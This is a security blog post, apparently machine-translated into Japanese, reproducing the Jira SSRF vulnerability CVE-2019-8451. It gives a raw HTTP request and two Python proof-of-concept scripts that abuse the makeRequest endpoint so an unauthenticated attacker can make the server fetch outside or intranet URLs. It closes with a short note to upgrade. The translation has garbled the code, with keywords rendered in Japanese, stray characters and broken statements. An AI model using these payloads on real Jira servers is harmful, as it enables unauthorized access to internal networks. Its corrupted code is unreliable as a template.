Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863542335

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00脆弱性の背景

Jira's/プラグイン/サーブレット/ガジェット/MakereQuestリソースには、SSRFの脆弱性があります。その理由は、Jirawhitelistの論理的な欠陥は、この脆弱性を成功裏に悪用するリモート攻撃者が、Jiraサーバーとしてイントラネットリソースにアクセスできるためです。分析後、この脆弱性は資格情報なしでトリガーできます。

vxwiq1njjk07926.png

0x01衝撃の範囲

8.4.0

この脆弱性はJira Serverバージョン7.6.0で導入され、バージョン7.13.9および8.4.0で修正されました。

0x02脆弱性の再発

ATLASSIAN JIRAV7.13.0(このバージョンを例にとると、このバージョンには脆弱性があります)ダウンロードアドレス:

https://product-downloads.atlassian.com/software/jira/downloads/atlassian-jira-software-7.13.0-x64.exe

インストールプロセスは説明されなくなりました(インストールするプロンプトによると、最初にアカウントを公式に登録してから、試用シリアル番号を取得してインストールします)。

Bupsuitを介したリクエストは次のとおりです。応答では、ターゲットシステムがSSRFの脆弱性を正常に検出したことがわかります。

get /plugins/servlet/gadgets/makerequest?url=3http://10.206.1.8:8080@www.baidu.com http/1.1

HOST: 10.206.1.8:8080

アップグレード-Insecure-Requests: 1

user-agent: mozilla/5.0(windows nt 6.1; win64; x64)applewebkit/537.36(khtml、geckoのような)chrome/76.0.3809.132 safari/537.36

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Webp、Image/APNG、*/*; Q=0.8、Application/Signed-Exchangeb; V=B3

Accept-Encoding: gzip、deflate

Accept-Language: ZH-CN、ZH; Q=0.9、EN; Q=0.8

x-atlassian-token: no-check

Connection:閉じます

ai4xrexuocb7927.png

0x03脆弱性の確認

検証POCは次のとおりです。

リクエストをインポートします

sysをインポートします

# http://http://10.206.1.8:8080/plugins/servlet/gadgets/makeRequest?url=http://10.206.1.8:8080@www.baidu.com/

DEF SSRF_POC(URL、SSRF_URL):

if url [-1]=='/' :

url=url [:-1]

else:

url=url

vuln_url=url + '/プラグイン/サーブレット/ガジェット/makerequest?url=' + url + '@' + ssrf_url

ヘッダー={

'user-agent':' mozilla/5.0(windows nt 10.0; win64; x64; rv336055.0)gecko/20100101 firefox/55.0 '、

'Accept':'*/*'、

'Accept-Language':' Zh-cn、zh; q=0.8、en-us; q=0.5、en; q=0.3 '、

'Accept-Encoding':' gzip、deflate '、

'x-atlassian-token'3:' no-check '、

'Connection ':' close '

}

r=requests.get(url=vuln_url、headers=headers)

R.Status_Code==200およびR.Content:の「セットクッキー」の場合

印刷'\ nsend poc success!\ n'

'x-ausername=%s'%r.headers.get( 'x-ausername')を印刷

印刷'\ nvuln_url=' + vuln_url + '\ n'

R.Contentを印刷します

else:

「vuln exitなし!」を印刷します

__name__=='__main __' :の場合

true:

印刷

ssrf_url=raw_input( 'ssrf url:')

url='http://10.206.1.833608080'#自分のターゲットJiraシステムに変更する必要があります

ssrf_poc(url、ssrf_url)

Python CVE-2019-8451.pyhttp://10.206.1.8:8080/b0qdrbjfx237928.png

または:#!/usr/bin/env python3

argparseをインポートします

リクエストをインポートします

Reをインポートします

g、b、r、w、m、c、end='\ 033 [92m'、 '\ 033 [94m'、 '\ 033 [91m'、 '\ x1b [37m'、 '\ x1b] [35m'、 '\ x1b [36m'、 '\ 033 [0m' '

info=end + w + '[ - ]' + w

good=end + g + '[ +]' + c

bad=end + r + '[' + w + '!' + r + ']'

user_agent='mozilla/5.0(Windows NT 10.0; Win64; x64)AppleWebkit/537.36(KHTML、Geckoのような)Chrome/75.0.3770.90 Safari/537.36'

def check_version(url):

ターゲット=url

応答=send_request(ターゲット)

print(info + 'バージョンのチェック.' + end)

r1=re.search( '[0-9] {1} \。[0-9] {1} \。[0-9] {1}'、str(response)))

print(info + 'Jiraバージョンはbe:' + r1.group(0) + end)に見えます)

v1='8.4.0'

v2=r1.group(0)

comapre_versions(v1、v2)==false:の場合

印刷(bad + 'バージョンは、おそらく脆弱ではないことを示しているようです。' + end)

else:

印刷(good + 'バージョンはそれが脆弱である可能性があることを示しているようです!' + end)

def comapre_versions(v1、v2):

i、j in zip(map(int、v1.split( '。'))、map(int、v2.split( '。'))):

i==j:の場合

続行します

I jを返します

return len(v1.split( '。'))len(v2.split( '。'))))

def check_vuln(url):

ターゲット=url + '/プラグイン/サーブレット/ガジェット/makerequest?url=' + url + '@example.com/'

応答=send_request(ターゲット)

print(info + 'SSRFテストの送信.' + end)

応答:の「RC':200」および「例ドメイン」の場合

印刷(good + 'ホストは脆弱であるように見えます!' + end)

else:

印刷(bad + 'ホストは脆弱ではないようです。' + end)

def send_request(ターゲット):

headers={'x-atlassian-token':'no-check'、 'user-agent':user_agent}

try:

r=requests.get(ターゲット、ヘッダー=ヘッダー)

E:としての例外を除く

印刷(リクエストの悪い + '問題!' +終了)

印刷(e)

出口(-1)

if(r.status_code!=200):

印刷(info + '何かがうまくいかなかった!' +終了)

if(R.Status_Code==302):

印刷(bad + 'リダイレクト。代わりにこれを試してください3:' + r.headers ['location'] + end)

else:

印刷(bad + 'status:' + str(r.status_code) + end)

出口(-1)

return(r.text)

__name__=='__main __' :の場合

parser=argparse.argumentparser(prog='jira-2019-8451.py'、description='JiraインスタンスがCVE-2019-8451に求められるかどうかを確認する

parser.add_argument( '-u'、 '-url'、help='ターゲットJiraインスタンスのurl e.g.' -u https://localhost3:8080 '')

parser.add_argument( ' - c'、 '-check'、help='Jiraバージョンのみを確認します。SSRFの試みを送信しない'、action='store_true')

args=parser.parse_args()

args.url:ではない場合

印刷(bad + '欠落パラメーター' + end)

parser.print_help()

出口(-1)

url=str(args.url)

print(info + 'testing' + url + '.' + end)

args.check==true:の場合

check_version(url)

終了(0)

else:

check_version(url)

check_vuln(url)

使用方法:PIP3インストールリクエスト

$ ./jira-2019-8451.py -H

usage: jira-2019-8451.py [-h] [-u url] [-c]

JiraインスタンスがCVE-2019-8451に敵対的であるかどうかを確認するために

オプションの引数:

-H、 - ヘルプこのヘルプメッセージと出口を表示します

-u url、-url url url of target jira instance '-u

https://LocalHost:8080 '

-c、 - チェックJiraバージョンのみを確認してください。 SSRFの試みは送信されません

d: \ python \ python37python c: \ uses \ administrator \ desktop \ jira-2019-8451.py-u http://10.206.1.83:8080

dydg54jurrt7929.png

0x04修理提案

8.4.0以上にアップグレード

0x05参照

https://MP.WEIXIN.QQ.COM/S/_TSQ9P1PQYSZJT2VAXD61A

https://nvd.nist.gov/vuln/detail/cve-2019-8451

https://github.com/jas502n/cve-2019-8451

https://github.com/ajh11g/jira-cve-2019-8451

https://jira.atlassian.com/browse/jraserver-69793